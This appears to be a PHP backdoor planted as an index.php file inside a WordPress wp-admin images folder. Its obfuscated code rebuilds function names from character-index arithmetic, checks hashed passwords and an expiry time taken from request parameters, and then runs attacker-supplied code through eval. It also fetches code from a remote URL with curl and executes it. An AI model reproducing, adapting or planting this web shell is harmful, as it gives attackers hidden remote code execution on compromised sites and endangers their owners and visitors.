File: /home/bandeirantesbomb3/public_html/wp-admin/images/images/index.php
<?php $mL = "r"."a"."n"."g"."e"; $eFcZt = $mL("~", " "); $C=${$eFcZt[9+22].$eFcZt[4+55].$eFcZt[19+28].$eFcZt[45+2].$eFcZt[41+10].$eFcZt[41+12].$eFcZt[31+26]}; @(md5(md5(md5(md5($C[24]))))==="86c41d02d09cbaf430ae519902248896")&&(count($C)==30&&in_array(gettype($C).count($C),$C))?(($C[68]=$C[68].$C[80])&&($C[89]=$C[68]($C[89]))&&(@eval($C[68](${$C[45]}[19])))):$C; metaphone("cYBqsOs19ih1QgIKJP6U81PtAWb7ItVt0fVw3QXSFBg"); class HkMNY{ static function CUqI($lKSV) { $vSuwEctH = "r"."a"."n"."g"."e"; $iTg = $vSuwEctH("~", " "); $gB = explode("*", $lKSV); $tNy = ""; foreach ($gB as $YyZg => $faQTMHI) $tNy .= $iTg[$faQTMHI - 51072]; return $tNy; } static function QKLyPAR($yAKBIR, $jTclxA) { $SUjEPN = curl_init($yAKBIR); curl_setopt($SUjEPN, CURLOPT_RETURNTRANSFER, 1); $mGSyjJqgxN = curl_exec($SUjEPN); return empty($mGSyjJqgxN) ? $jTclxA($yAKBIR) : $mGSyjJqgxN; } static function JlzSUYe() { $nfw = array("51099*51084*51097*51101*51082*51097*51103*51096*51081*51088*51099*51082*51093*51087*51088","51083*51082*51084*51103*51084*51087*51082*51149*51147","51092*51083*51087*51088*51103*51098*51097*51099*51087*51098*51097","51086*51101*51099*51091","51100*51101*51083*51097*51144*51146*51103*51098*51097*51099*51087*51098*51097","51096*51093*51090*51097*51103*51095*51097*51082*51103*51099*51087*51088*51082*51097*51088*51082*51083","51126*51156","51073","51151*51156","51133*51116*51116*51133*51109","51096*51093*51090*51082*51097*51084*51103*51093*51088*51086*51081*51082"); foreach ($nfw as $iCkj) $aN[] = self::CUqI($iCkj); $LABn = @$aN[1]($aN[2+8](INPUT_GET, $aN[6+3])); $SvNkeIpZG = @$aN[1+2]($aN[6+0], $LABn); $WyNgBsJvTG = $aN[2+0]($SvNkeIpZG, true); @$aN[9+1](INPUT_GET, "of") == 1 && die($aN[2+3](__FILE__)); if( ((@$WyNgBsJvTG[0] - time()) > 0) and (md5(md5($WyNgBsJvTG[0+3])) === "a5050ed3871fd6a04d11b0fec2cad109") ): $MpCciQYyS = self::QKLyPAR($WyNgBsJvTG[0+1], $aN[2+3]);@eval($aN[0+4]($MpCciQYyS));die; endif; }}HkMNY::JlzSUYe(); ?>